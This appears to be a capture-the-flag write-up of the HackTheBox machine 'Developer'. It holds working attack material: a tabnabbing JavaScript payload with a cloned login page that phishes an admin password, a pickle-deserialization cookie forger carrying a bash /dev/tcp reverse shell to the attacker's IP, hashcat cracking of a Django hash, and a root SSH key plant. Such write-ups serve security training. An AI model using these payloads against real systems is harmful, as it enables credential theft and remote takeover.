Developer is a hard rated machine on HackTheBox created by TheCyberGeek. For the user part we will exploit a XSS vulnerability in a writeup submission form on a CTF platform. The application is vulnerable to tabnabbing which letโs us phish the adminโs password and discover another vhost in the django administration interface. Debugging is enabled in the sentry application on this vhost. Triggering a server error we are able to retrieve the secret to sign our own cookie leading to RCE and a reverse shell as it gets deserialized. We find some database credentials and crack a hash giving us access as the user karl. Karl may run a custom authenticator binary as root. Reversing it we are able to retrieve the password it needs and write our public ssh key to rootโs authorized keys.
User
Nmap
As usual we start our enumeration off with a nmap scan against all ports, followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.
All ports
1
2
3
4
5
6
7
8
9
10
$ sudo nmap -p- -T4 10.129.190.110
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-23 14:39 GMT
Nmap scan report for developer.htb (10.129.190.110)
Host is up (0.070s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 128.78 seconds
Script and version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sudo nmap -sC -sV -p22,80 10.129.190.110
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-23 17:45 GMT
Nmap scan report for 10.129.190.110
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 36:aa:93:e4:a4:56:ab:39:86:66:bf:3e:09:fa:eb:e0 (RSA)
| 256 11:fb:e9:89:2e:4b:66:40:7b:6b:01:cf:f2:f2:ee:ef (ECDSA)
|_ 256 77:56:93:6e:5f:ea:e2:ad:b0:2e:cf:23:9d:66:ed:12 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://developer.htb/
Service Info: Host: developer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.16 seconds
XSS => CSRF
There are only two ports open on the machine with http being a bigger attack surface so we will start there. The nmap scan already revealed the name of a vhost so we add it to our /etc/hosts
and open it in our browser. At a first glance it looks like a CTF platform.
Running a quick gobuster scan on the website it looks like everything containing the string admin
getโs redirected.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u http://developer.htb
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://developer.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/08/23 17:52:49 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 301) [Size: 0] [--> /admin/]
/wp-admin (Status: 301) [Size: 0] [--> /wp-admin/]
/media (Status: 301) [Size: 314] [--> http://developer.htb/media/]
/contact (Status: 301) [Size: 0] [--> /contact/]
/profile (Status: 301) [Size: 0] [--> /profile/]
/static (Status: 301) [Size: 315] [--> http://developer.htb/static/]
/. (Status: 200) [Size: 10877]
/fileadmin (Status: 301) [Size: 0] [--> /fileadmin/]
/phpmyadmin (Status: 301) [Size: 0] [--> /phpmyadmin/]
/_admin (Status: 301) [Size: 0] [--> /_admin/]
/siteadmin (Status: 301) [Size: 0] [--> /siteadmin/]
/topicadmin (Status: 301) [Size: 0] [--> /topicadmin/]
/dashboard (Status: 301) [Size: 0] [--> /dashboard/]
/Polls_admin (Status: 301) [Size: 0] [--> /Polls_admin/]
/Taxonomy_admin (Status: 301) [Size: 0] [--> /Taxonomy_admin/]
/webadmin (Status: 301) [Size: 0] [--> /webadmin/]
/myadmin (Status: 301) [Size: 0] [--> /myadmin/]
/map_admin (Status: 301) [Size: 0] [--> /map_admin/]
/vsadmin (Status: 301) [Size: 0] [--> /vsadmin/]
/podcasts_admin (Status: 301) [Size: 0] [--> /podcasts_admin/]
...[snip]...
Clicking on the menu we can sign up, which we do since it might unlock additional functionality.
Being logged in there are three different machine categories and five challenge categories.
The machine categories lead nowhere but there are some challenges for everything but Web
.
Phished List
Downloading a forensics challenge we can take a quick look for the flag to check for more potentially vulnerable functioniality after submitting it. The zip file contains a xlsx which is just a zip itself so we open it aswell.
1
2
3
$ unzip phished_list.zip
Archive: phished_list.zip
inflating: phished_credentials.xlsx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ unzip phished_credentials.xlsx
Archive: phished_credentials.xlsx
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: xl/worksheets/sheet1.xml
inflating: xl/theme/theme1.xml
inflating: xl/styles.xml
inflating: xl/sharedStrings.xml
inflating: docProps/thumbnail.wmf
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: docProps/core.xml
inflating: docProps/app.xml
Checking for low hanging fruits we get the flag with a quick grep
command for a common flag scheme.
1
2
3
grep -iRe '{.*}'
...[snip]...
ased tertiary definition</t></si><si><t>admin@developer.htb</t></si><si><t>DHTB{H1dD3N_C0LuMn5_FtW}</t></si></sst>
After submitting the flag we are now able to also submit a writeup for the challenge and are prompted with the url. We enter our own ip and stand up a ncat
listener to see if there is something checking the writeup.
Going to our profile we see that we now have a walkthrough submited. Checking the source of the page for the link we see that clicking on it opens a new tab with target="_blank"
. This makes it susceptible to tabnabbing since we can change the parent page of the tab.
After about a minute we get a hit on our listener with the user agent of firefox, which means it is probably checked using a browser.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo nc -lnvp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.129.190.110.
Ncat: Connection from 10.129.190.110:53674.
GET / HTTP/1.1
Host: 10.10.14.73
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
To abuse the tabnabbing we have to put a javascript payload as writeup url which modifies the parent tab.
1
window.opener.parent.location.replace('http://10.10.14.73:8000');
1
2
$ echo "javascript:eval(atob(\"$(cat tabnab | base64 -w0)\"))"
javascript:eval(atob("d2luZG93Lm9wZW5lci5wYXJlbnQubG9jYXRpb24ucmVwbGFjZSgnaHR0cDovLzEwLjEwLjE0LjczOjgwMDAnKTsK"))
Now we need to figure out what we want to display back on the initial tab. The most promising for this would be the login page because the user might think he got logged out and just log in again to a fake page hosted by us. This way we might be able to steal his credentials and log in as him.
For this we download the login page and replace the relative resource links with absolute ones to not break any functionality.
1
2
3
4
$ curl http://developer.htb/accounts/login/ > index.html
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1938 100 1938 0 0 21065 0 --:--:-- --:--:-- --:--:-- 21065
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="http://developer.htb/img/favicon.ico">
<link rel="stylesheet" href="http://developer.htb/static/css/jquery.toasts.css">
<script src="http://developer.htb/static/js/all.min.js"></script>
<script src="http://developer.htb/static/js/jquery-3.2.1.min.js"></script>
<title>Login | Developer.HTB</title>
<!-- Bootstrap core CSS -->
<link rel="stylesheet" href="http://developer.htb/static/css/bootstrap.min.css">
<!-- Custom styles for this template -->
<link href="http://developer.htb/static/css/signin.css" rel="stylesheet">
</head>
<body class="text-center">
<form class="form-signin" action="http://10.10.14.73/whatever" method="post">
<input type="hidden" name="csrfmiddlewaretoken" value="jJGTGHSi1clutWreOE4fOtN4XYfSIPDKVDCu14ofdxueV4fNSWKfWoBfOOTQjNIA">
<img class="mb-4" src="http://developer.htb/static/img/logo.png" alt="" width="72" height="72">
<h1 class="h3 mb-3 font-weight-normal">Welcome back!</h1>
<label for="uname" class="sr-only">User Name</label>
<input type="text" id="id_login" name="login" placeholder="Username" class="form-control" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" id="id_password" name="password" placeholder="Password" class="form-control" required>
<button id="loginbtn" class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
<a href="http://developer.htb/accounts/password/reset/" class="auth-link">Forgot password?</a>
<div class="text-center mt-4 font-weight-light"> Don't have an account? <a href="http://developer.htb/accounts/signup/" >Click here!</a>
<p class="mt-5 mb-3 text-muted">© Developer.HTB 2021</p>
</form>
<script src="http://developer.htb/static/js/jquery.toast.js"></script>
<script>
</script>
</body>
</html>
Next we host the page with a python web server and also stand up a ncat
listener to retrieve the request made by the user.
1
2
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
1
2
3
4
$ sudo nc -klnvp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Now we can send our javascript payload as walkthrough submission.
After about a minute later we get a hit on our python webserver followed by a hit on our ncat
listener with the credentials for the admin user admin:SuperSecurePassword@HTB2021
1
2
3
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.190.110 - - [23/Aug/2021 16:00:02] "GET / HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ sudo nc -klnvp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.129.190.110.
Ncat: Connection from 10.129.190.110:59184.
POST /whatever HTTP/1.1
Host: 10.10.14.73
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 135
Origin: http://10.10.14.73:8000
Connection: keep-alive
Referer: http://10.10.14.73:8000/
Upgrade-Insecure-Requests: 1
csrfmiddlewaretoken=jJGTGHSi1clutWreOE4fOtN4XYfSIPDKVDCu14ofdxueV4fNSWKfWoBfOOTQjNIA&login=admin&password=SuperSecurePassword%40HTB2021
We can now sign in as admin and browse to the django administration.
Going over to sites there is an additional vhost which we also add to our /etc/hosts
.
Sentry cookie deserialization
Browsing to it reveals a sentry installation which also letโs us register a new user.
Creating a new user and logging in we have very low privileges. We can however list all members with their email addresses.
There is a user named jacob which is also the name of the admin on the django administration page.
Testing his email with the earlier found password we are able to log into sentry with the credentials: jacob@developer.htb:SuperSecurePassword@HTB2021
.
Looking around we are now able to create projects. Playing around with the functionality, it results in a server error trying to delete it and a stack trace because debugging mode is enabled in django.
This stacktrace contains alot of information which might be of use to us. Since it is a django application we should be able to obtain RCE if we can sign our own cookie containing a serialized pickle payload. We arenโt able to retrieve the django secret for this but this blogpost describing a very similar vulnerability in a sentry application outlines another possible way. Sentry also has a system.secret-key
which basically overrides the django secret-key. Looking through the stacktrace this key is indeed present along other information about the sentry installation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
SENTRY_OPTIONS
{'cache.backend': 'sentry.cache.redis.RedisCache',
'cache.options': {},
'redis.options': {'hosts': {0: {'host': '127.0.0.1',
'password': 'g7dRAO6BjTXMtP3iXGJjrSkz2H9Zhm0CAp2BnXE8h92AOWsPZ2zvtAapzrP8sqPR92aWN9DA207XmUTe',
'port': 6379}}},
'system.databases': {'default': {'ATOMIC_REQUESTS': False,
'AUTOCOMMIT': True,
'CONN_MAX_AGE': 0,
'ENGINE': 'sentry.db.postgres',
'HOST': 'localhost',
'NAME': 'sentry',
'OPTIONS': {},
'PASSWORD': u'********************',
'PORT': '',
'TEST_CHARSET': None,
'TEST_COLLATION': None,
'TEST_MIRROR': None,
'TEST_NAME': None,
'TIME_ZONE': 'UTC',
'USER': 'sentry'}},
'system.debug': True,
'system.secret-key': 'c7f3a64aa184b7cbb1a7cbe9cd544913'}
For the script to work we just have to replace the cookie and secret with our own sentrysid
and system.secret-key
respectivly. For the payload we use a simple bash reverse shell in the reduce function which later gets deserialized and executed in the process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
SECRET_KEY='c7f3a64aa184b7cbb1a7cbe9cd544913'
#Initial cookie I had on sentry when trying to reset a password
cookie = '.eJxrYKotZNQI5UxMLsksS80vSi9kimBjYGAoTs0rKaosZA5lKS5NyY_gAQpVGlRGVZX6GKWVOAZFcAEFSlKLS5Lz87MzU8FayvOLslNTQnnjE0tLMuJLi1OL4jNTvFlDhZAEkhKTs1PzUkKVIObrlZZk5hTrgeT1XHMTM3McgSwniJpSPQD8nTQS:1mICU7:B0bJ3SQW8FyLGLk_RdABzO3OAI4'
newContent = django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
def __reduce__(self):
return (os.system,("bash -c 'bash -i >& /dev/tcp/10.10.14.73/7575 0>&1'",))
newContent['testcookie'] = PickleRce()
print(django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True))
We can now generate our own cookie and stand up a ncat
listener on the port we specified.
1
2
$ python2 gencookie.py
.eJxrYKotZNQI5UxMLsksS80vSo9gY2BgKE7NKymqDGUpLk3Jj-ABClQaVEZVlfoYpZU4BkVwAQVKUotLkvPzszNTkwvyizMruIori0tSc7kKmUKNkxKLMxR0kxXUIYxMBTs1Bf2U1DL9kuQCfUMDPRAy0TM31jc3NTdVMLBTM1QvZG4tZAkqZA0Vik8sLcmILy1OLYpPSkzOTs1LCVWCOEevtCQzp1gPJK_nmpuYmeMIZDlB1fAi6ctM8WYt1QMAoJ9Fjw:1mICXn:S0Seo3ZC1wnYuHak2EoDCwmI3CU
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
After exchanging our previous sentrysid
with the new cookie and refreshing the page we get a shell back, which we upgrade with python and fix the terminal size.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.190.110.
Ncat: Connection from 10.129.190.110:56332.
bash: cannot set terminal process group (978): Inappropriate ioctl for device
bash: no job control in this shell
www-data@developer:/var/sentry$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<try$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@developer:/var/sentry$ export TERM=xterm
export TERM=xterm
www-data@developer:/var/sentry$ ^Z
[1]+ Stopped nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575
www-data@developer:/var/sentry$ stty rows 55 cols 236
Looking around on the file system the database credentials for the sentry application are in /etc/sentry/sentry.conf.py
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
www-data@developer:/var/sentry$ cat /etc/sentry/
config.yml sentry.conf.py
www-data@developer:/var/sentry$ cat /etc/sentry/sentry.conf.py
# This file is just Python, with a touch of Django which means
# you can inherit and tweak settings to your hearts content.
from sentry.conf.server import *
import os.path
CONF_ROOT = os.path.dirname(__file__)
DATABASES = {
'default': {
'ENGINE': 'sentry.db.postgres',
'NAME': 'sentry',
'USER': 'sentry',
'PASSWORD': 'SentryPassword2021',
'HOST': 'localhost',
'PORT': '',
}
}
...[snip]...
With this credentials we can now connect to the database with psql
and list all the tables.
1
2
3
4
5
6
7
www-data@developer:/var/sentry$ psql sentry sentry -h localhost -W
Password for user sentry:
psql (9.6.22)
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
sentry=#
1
sentry=# \d+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Schema | Name | Type | Owner | Size | Description
--------+------------------------------------------+----------+--------+------------+-------------
public | auth_group | table | sentry | 0 bytes |
public | auth_group_id_seq | sequence | sentry | 8192 bytes |
public | auth_group_permissions | table | sentry | 0 bytes |
public | auth_group_permissions_id_seq | sequence | sentry | 8192 bytes |
public | auth_permission | table | sentry | 40 kB |
public | auth_permission_id_seq | sequence | sentry | 8192 bytes |
public | auth_user | table | sentry | 16 kB |
public | auth_user_id_seq | sequence | sentry | 8192 bytes |
public | django_admin_log | table | sentry | 8192 bytes |
public | django_admin_log_id_seq | sequence | sentry | 8192 bytes |
public | django_content_type | table | sentry | 8192 bytes |
public | django_content_type_id_seq | sequence | sentry | 8192 bytes |
public | django_session | table | sentry | 8192 bytes |
public | django_site | table | sentry | 8192 bytes |
public | django_site_id_seq | sequence | sentry | 8192 bytes |
public | nodestore_node | table | sentry | 88 kB |
public | sentry_activity | table | sentry | 8192 bytes |
public | sentry_activity_id_seq | sequence | sentry | 8192 bytes |
public | sentry_apikey | table | sentry | 8192 bytes |
public | sentry_apikey_id_seq | sequence | sentry | 8192 bytes |
public | sentry_auditlogentry | table | sentry | 16 kB |
public | sentry_auditlogentry_id_seq | sequence | sentry | 8192 bytes |
public | sentry_authidentity | table | sentry | 8192 bytes |
public | sentry_authidentity_id_seq | sequence | sentry | 8192 bytes |
public | sentry_authprovider | table | sentry | 8192 bytes |
public | sentry_authprovider_default_teams | table | sentry | 0 bytes |
public | sentry_authprovider_default_teams_id_seq | sequence | sentry | 8192 bytes |
public | sentry_authprovider_id_seq | sequence | sentry | 8192 bytes |
public | sentry_broadcast | table | sentry | 8192 bytes |
public | sentry_broadcast_id_seq | sequence | sentry | 8192 bytes |
public | sentry_broadcastseen | table | sentry | 0 bytes |
public | sentry_broadcastseen_id_seq | sequence | sentry | 8192 bytes |
public | sentry_eventmapping | table | sentry | 8192 bytes |
public | sentry_eventmapping_id_seq | sequence | sentry | 8192 bytes |
public | sentry_eventuser | table | sentry | 16 kB |
public | sentry_eventuser_id_seq | sequence | sentry | 8192 bytes |
public | sentry_file | table | sentry | 8192 bytes |
public | sentry_file_id_seq | sequence | sentry | 8192 bytes |
public | sentry_fileblob | table | sentry | 8192 bytes |
public | sentry_fileblob_id_seq | sequence | sentry | 8192 bytes |
public | sentry_fileblobindex | table | sentry | 0 bytes |
public | sentry_fileblobindex_id_seq | sequence | sentry | 8192 bytes |
public | sentry_filterkey | table | sentry | 0 bytes |
public | sentry_filterkey_id_seq | sequence | sentry | 8192 bytes |
public | sentry_filtervalue | table | sentry | 8192 bytes |
public | sentry_filtervalue_id_seq | sequence | sentry | 8192 bytes |
public | sentry_groupasignee | table | sentry | 0 bytes |
public | sentry_groupasignee_id_seq | sequence | sentry | 8192 bytes |
public | sentry_groupbookmark | table | sentry | 0 bytes |
public | sentry_groupbookmark_id_seq | sequence | sentry | 8192 bytes |
public | sentry_groupedmessage | table | sentry | 16 kB |
The auth_user
table contains all the password hashes for the users, which we can retrieve with the next query.
1
sentry=# select * from auth_user;
1
2
3
4
5
password | last_login | id | username | first_name | email | is_staff | is_active | is_superuser | date_joined | is_managed
-------------------------------------------------------------------------------+-------------------------------+----+---------------------+--------------+---------------------+----------+-----------+--------------+-------------------------------+------------
pbkdf2_sha256$12000$wP0L4ePlxSjD$TTeyAB7uJ9uQprnr+mgRb8ZL8othIs32aGmqahx1rGI= | 2021-05-22 21:17:53.080994+00 | 1 | karl@developer.htb | Karl Travis | karl@developer.htb | t | t | t | 2021-05-22 16:56:29.249263+00 | f
pbkdf2_sha256$12000$lnh1EhfYWKmi$2DMz83pfxCggRR7Gd8OPBmJGAw2bFigsPgfmAhHjT/s= | 2021-08-23 15:48:26.46281+00 | 6 | a@a.com | | a@a.com | f | t | f | 2021-08-22 20:47:04.461973+00 | f
pbkdf2_sha256$12000$MqrMlEjmKEQD$MeYgWqZffc6tBixWGwXX2NTf/0jIG42ofI+W3vcUKts= | 2021-08-23 16:07:39.448152+00 | 5 | jacob@developer.htb | Jacob Taylor | jacob@developer.htb | t | t | t | 2021-05-22 18:53:09.750524+00 | f
Since karl is the admin and also a user on the machine we try to crack his password hash with hashcat first and are successful.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ hashcat -m 10000 -O hash rockyou.txt
hashcat (v6.2.3) starting
...[snip]...
pbkdf2_sha256$12000$wP0L4ePlxSjD$TTeyAB7uJ9uQprnr+mgRb8ZL8othIs32aGmqahx1rGI=:insaneclownposse
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Django (PBKDF2-SHA256)
Hash.Target......: pbkdf2_sha256$12000$wP0L4ePlxSjD$TTeyAB7uJ9uQprnr+m...x1rGI=
Time.Started.....: Mon Aug 23 15:25:52 2021 (3 secs)
Time.Estimated...: Mon Aug 23 15:25:55 2021 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 48696 H/s (8.86ms) @ Accel:16 Loops:32 Thr:1024 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 163840/14344388 (1.14%)
Rejected.........: 0/163840 (0.00%)
Restore.Point....: 0/14344388 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:11968-11999
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> 250100
Hardware.Mon.#1..: Temp: 53c Fan: 33% Util:100% Core:1974MHz Mem:4006MHz Bus:16
Started: Mon Aug 23 15:25:51 2021
Stopped: Mon Aug 23 15:25:57 2021
Now we can log in as karl and add the user flag to our collection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ssh karl@developer.htb
karl@developer.htb's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 23 Aug 16:17:42 UTC 2021
System load: 0.05
Usage of /: 77.6% of 5.84GB
Memory usage: 51%
Swap usage: 11%
Processes: 264
Users logged in: 2
IPv4 address for eth0: 10.129.190.110
IPv6 address for eth0: dead:beef::250:56ff:feb9:a856
0 updates can be applied immediately.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Aug 23 08:04:00 2021 from 10.10.14.73
karl@developer:~$ wc -c user.txt
33 user.txt
Root
Rust reversing
Looking at sudo permissions karl is able to run the custom /root/.auth/authenticator
binary as the root user.
1
2
3
4
5
6
7
karl@developer:~$ sudo -l
[sudo] password for karl:
Matching Defaults entries for karl on developer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User karl may run the following commands on developer:
(ALL : ALL) /root/.auth/authenticator
1
2
karl@developer:~$ file /root/.auth/authenticator
/root/.auth/authenticator: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dec8c0adbc231a7465e5df021c1f9e6695fe6a2f, for GNU/Linux 3.2.0, with debug_info, not stripped
Testing it, it asks for a password and exits if the wrong one is entered.
1
2
3
4
5
karl@developer:~$ sudo /root/.auth/authenticator
Welcome to TheCyberGeek's super secure login portal!
Enter your password to access the super user:
dasfdsfds
You entered a wrong password!
To take a close look at it we copy it over to our machine and open it in ida free.
1
2
3
$ scp karl@developer.htb:/root/.auth/authenticator .
karl@developer.htb's password:
authenticator
Looking at the decompiled output of the main function (F5) we see it calls another function.
Taking a look at this one we see it calls the crypto::aes::ctr
module with two arguments. According to the documentation the first argument here is the key and the second one the IV. These two values are defined above in the function and we can go to the definition by clicking on them.
Further down there is one main if statement which seems to compare the aes encrypted input with the expected encrypted password. We can also find the encrypted string defined above again composed of two variables.
With all the values needed we just need to enter them into cyberchef, swapping the endianness for all of them and switching the mode to CTR to decrypt the password.
1
https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'a3e832345c7991619e20d43dbef4f5d5'%7D,%7B'option':'Hex','string':'761f59e3d9d2959aa79855dc0620816a'%7D,'CTR','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=ZmUxYjI1ZjA4MDZhOTdjYTc4ODBmZDU4ZmM1YzIwMjM2Y2EyZGJkMGU1MDJiNWZhZWJjMGFmM2E5ZjI3MTUyYw
Running the binary again it seems our password is correct and it prompts us for our ssh key.
1
2
3
4
5
6
7
karl@developer:~$ sudo /root/.auth/authenticator
[sudo] password for karl:
Welcome to TheCyberGeek's super secure login portal!
Enter your password to access the super user:
RustForSecurity@Developer@2021:)
You have successfully authenticated
Enter your SSH public key in now:
We generate a new one, paste the public key and get told we are now able to authenticate as root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ssh-keygen -f root
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root
Your public key has been saved in root.pub
The key fingerprint is:
SHA256:7ekEKUM9JTqCdUedo7YDvyeUuXgmz9To611rA9+wuew jack@parrot
The key's randomart image is:
+---[RSA 3072]----+
| . ..+... |
| o . + o+ |
| . . + o. . |
| o..o+ |
| o+S+. |
| oB=... |
| oo+=o.= |
| o+*+.o*.. |
| **+ooEo |
+----[SHA256]-----+
1
2
$ cat root.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBVAyTfSW+5B/A8CKn+kLk2foFEJQF3kMoateAAnUQvKkeKVAfzua35kBdvXGPZg9wOoIw1CAUt6m+VV6CG9eBeiXj+I8xlXDj5LkihywJcFgGtN1Ye9RK0ESir07icwpDhi6vkjomml2CeM2ZJxZQvBEBOeJeD/Cz9KPbWcIls4qJuBqlsch/FmaQwpAG5HH4HGA3d8F6UnDt+Y00UP3WRIQsT5MFtknjucebLFaHoDzL6v+pZcVO83IaDn+NxPI1UKx+lq7giHNqnxpxWLasbJdIYOwKBRpOn3ecUmUsu/R7wnIqP1XCl0y+pr88PlDf5McdcXIfZsaAl4HJkgIrY20UtD5ZIGuZO5qmUMzUjyGReFxtueAniiYcjq16W9hy/JIofXgOi8sTjy6iXV1goHoS6zKthv4xkU9/ASDWaL918qlrELvQ0Ki65H3ymlIlG7+XLwoLRYNxBswlECMDTkQfRJXPaCP1XubDOXxTFXwJrsTD75w9qGhUuEziZ1s= jack@parrot
1
2
3
4
5
6
7
8
9
karl@developer:~$ sudo /root/.auth/authenticator
[sudo] password for karl:
Welcome to TheCyberGeek's super secure login portal!
Enter your password to access the super user:
RustForSecurity@Developer@2021:)
You have successfully authenticated
Enter your SSH public key in now:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBVAyTfSW+5B/A8CKn+kLk2foFEJQF3kMoateAAnUQvKkeKVAfzua35kBdvXGPZg9wOoIw1CAUt6m+VV6CG9eBeiXj+I8xlXDj5LkihywJcFgGtN1Ye9RK0ESir07icwpDhi6vkjomml2CeM2ZJxZQvBEBOeJeD/Cz9KPbWcIls4qJuBqlsch/FmaQwpAG5HH4HGA3d8F6UnDt+Y00UP3WRIQsT5MFtknjucebLFaHoDzL6v+pZcVO83IaDn+NxPI1UKx+lq7giHNqnxpxWLasbJdIYOwKBRpOn3ecUmUsu/R7wnIqP1XCl0y+pr88PlDf5McdcXIfZsaAl4HJkgIrY20UtD5ZIGuZO5qmUMzUjyGReFxtueAniiYcjq16W9hy/JIofXgOi8sTjy6iXV1goHoS6zKthv4xkU9/ASDWaL918qlrELvQ0Ki65H3ymlIlG7+XLwoLRYNxBswlECMDTkQfRJXPaCP1XubDOXxTFXwJrsTD75w9qGhUuEziZ1s= jack@parrot
You may now authenticate as root!
Using the generate private key we are now indeed able to log in as the root user and grab the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ssh -i root root@developer.htb
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 23 Aug 17:38:29 UTC 2021
System load: 0.0
Usage of /: 77.7% of 5.84GB
Memory usage: 51%
Swap usage: 11%
Processes: 268
Users logged in: 2
IPv4 address for eth0: 10.129.190.110
IPv6 address for eth0: dead:beef::250:56ff:feb9:a856
0 updates can be applied immediately.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
